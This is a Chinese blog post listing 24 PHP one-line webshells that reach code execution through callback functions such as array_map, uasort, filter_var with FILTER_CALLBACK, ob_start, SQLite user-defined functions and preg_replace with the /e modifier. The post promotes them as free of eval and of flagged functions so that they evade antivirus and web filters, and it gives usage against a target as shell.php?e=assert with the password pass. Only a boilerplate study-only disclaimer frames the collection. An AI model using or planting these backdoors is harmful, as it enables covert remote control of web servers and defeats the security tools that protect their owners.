类别:Linux / 日期:2020-06-26 / 浏览:235 / 评论:0

分享一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。(少部分一句话需要php5.4.8+、或sqlite/pdo/yaml/memcached扩展等)

分享一些无特征PHP一句话命令 php shell get post 第1张

原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

所有一句话使用方法基本都是:http://target/shell.php?e=assert 密码pass

#01
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
#02
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
#03
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
#04
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
#05
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
#06
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
#07
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
#08
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
#09
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
#10
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
#11
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
#12
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
#13
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
#14
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
#15
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
#16
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
#17
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
#18
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
#19
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
#20
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
#21
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
#22
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
#23
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
#24
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {echo $item;}

法律声明

1.请遵守中华人民共和国相关法律、条例

2.本站提供的各类工具及文章,只可研究学习,本站对使用这些工具(文章)而导致的一切后果,不承担任何责任!

3.本站不保证提供的软件十分安全或是完全可用,请下载后自行检查

4.如不同意以上声明,请立即删除,不要使用,谢谢合作

赞助

感谢您的打赏~

打开支付宝扫一扫,即可进行扫码打赏哦~

版权声明 : 本文未使用任何知识共享协议授权,您可以任何形式自由转载或使用 / Article Is Not Licensed Under Any Creative Commons License, And You May Freely Reprint Or Use It In Any Form

 可能感兴趣的文章

伤心叹戈

评论区

发表评论 / 取消回复

必填

选填

选填

◎欢迎讨论,请在这里发表您的看法及观点。